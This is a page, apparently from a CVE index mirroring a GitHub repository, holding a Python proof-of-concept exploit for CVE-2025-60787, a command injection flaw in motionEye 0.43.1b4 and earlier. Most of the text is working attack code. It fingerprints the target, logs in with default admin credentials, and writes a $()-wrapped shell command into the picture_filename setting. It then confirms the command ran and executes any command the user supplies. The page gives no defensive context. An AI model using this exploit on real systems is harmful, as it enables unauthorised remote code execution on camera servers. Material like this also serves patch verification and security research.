5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
Exploit Title: Motioneye <= 0.43.1b4 - OS Command Injection (RCE)
CVE: CVE-2025-60787
Original Researcher: Prabhat Verma ()
Refactored by: [Rohitberiwala]
Date: 2026-03-07
"""

import requests
import argparse
import sys
import time
import re
from urllib.parse import urlparse

class MotioneyeRCE:
    def __init__(self, target, port, username, password, command):
        self.base_url = f"http://{target}:{port}"
        self.username = username
        self.password = password
        self.command = command
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Content-Type': 'application/x-www-form-urlencoded'
        })

    def print_banner(self):
        print("-" * 65)
        print("CVE-2025-60787: Motioneye OS Command Injection (RCE)")
        print("Author: Prabhat Verma (@prabhatverma47)")
        print("-" * 65)

    def validate_target(self):
        """Validate target connectivity and Motioneye presence"""
        try:
            response = self.session.get(f"{self.base_url}/", timeout=5)
            if response.status_code != 200:
                print(f"[-] Target returned non-200 status: {response.status_code}")
                return False
            
            # Check for Motioneye-specific elements
            if "motioneye" not in response.text.lower():
                print("[-] Target doesn't appear to be Motioneye")
                return False
                
            return True
        except Exception as e:
            print(f"[-] Target validation failed: {e}")
            return False

    def login(self):
        """Authenticates to the Motioneye Web UI."""
        print("[*] Attempting authentication...")
        
        try:
            # First get login page to extract CSRF token if present
            resp = self.session.get(f"{self.base_url}/login")
            if resp.status_code != 200:
                print(f"[-] Failed to reach login page: {resp.status_code}")
                return False
                
            # Extract CSRF token if present
            csrf_token = None
            csrf_match = re.search(r'name="_csrf_token" value="([^"]+)"', resp.text)
            if csrf_match:
                csrf_token = csrf_match.group(1)
                
            # Prepare login data
            login_data = {
                "username": self.username,
                "password": self.password
            }
            
            # Add CSRF token if found
            if csrf_token:
                login_data["_csrf_token"] = csrf_token
                
            # Perform login
            resp = self.session.post(
                f"{self.base_url}/login",
                data=login_data,
                allow_redirects=False
            )
            
            if resp.status_code == 302 and "redirect" in resp.text.lower():
                print("[+] Authentication successful!")
                return True
            else:
                print(f"[-] Authentication failed. Status: {resp.status_code}")
                return False
                
        except Exception as e:
            print(f"[-] Authentication error: {e}")
            return False

    def verify_payload(self):
        """Verify payload execution by checking for file creation"""
        print("[*] Verifying payload execution...")
        
        # Create a unique test file name
        test_file = f"/tmp/test_{int(time.time())}.txt"
        verification_cmd = f"echo 'test' > {test_file}"
        
        # Create payload that writes test file
        payload = f"$({verification_cmd}) %Y-%m-%d/%H-%M-%S"
        config_data = {"picture_filename": payload}
        
        try:
            resp = self.session.post(
                f"{self.base_url}/config/1/set",
                data=config_data,
                timeout=10
            )
            
            if resp.status_code != 200:
                print(f"[-] Failed to inject payload. Status: {resp.status_code}")
                return False
                
            # Wait for Motioneye to process the command
            time.sleep(2)
            
            # Verify file exists
            verify_resp = self.session.get(f"{self.base_url}/static{test_file}")
            if verify_resp.status_code == 200 and "test" in verify_resp.text:
                print("[+] Payload execution verified!")
                return True
            else:
                print("[-] Payload verification failed")
                return False
                
        except Exception as e:
            print(f"[-] Verification error: {e}")
            return False

    def trigger_rce(self):
        """Injects shell command into the picture_filename configuration."""
        print(f"[*] Injecting payload: {self.command}")
        
        # Create proper payload
        payload = f"$({self.command}) %Y-%m-%d/%H-%M-%S"
        config_data = {
            "picture_filename": payload
        }
        
        try:
            # Send POST request with proper headers
            resp = self.session.post(
                f"{self.base_url}/config/1/set",
                data=config_data,
                timeout=10
            )
            
            if resp.status_code == 200:
                print("[+] Payload injected successfully.")
                print("[*] Command will execute upon Motioneye restart or config reload.")
                return True
            else:
                print(f"[-] Failed to inject payload. Status: {resp.status_code}")
                return False
                
        except Exception as e:
            print(f"[-] Error during injection: {e}")
            return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Professional PoC for CVE-2025-60787")
    parser.add_argument("--target", required=True, help="Target IP address")
    parser.add_argument("--port", default="8765", help="Motioneye port (default: 8765)")
    parser.add_argument("--user", default="admin", help="Username")
    parser.add_argument("--pwd", default="", help="Password")
    parser.add_argument("--cmd", default="touch /tmp/rce_success", help="Command to execute")

    args = parser.parse_args()

    exploit = MotioneyeRCE(args.target, args.port, args.user, args.pwd, args.cmd)
    exploit.print_banner()
    
    if not exploit.validate_target():
        print("[-] Target validation failed. Exiting.")
        sys.exit(1)
        
    if exploit.login():
        if exploit.verify_payload():
            exploit.trigger_rce()
        else:
            print("[-] Verification failed. Attempting to continue anyway...")
            exploit.trigger_rce()
    else:
        print("[-] Authentication failed. Exiting.")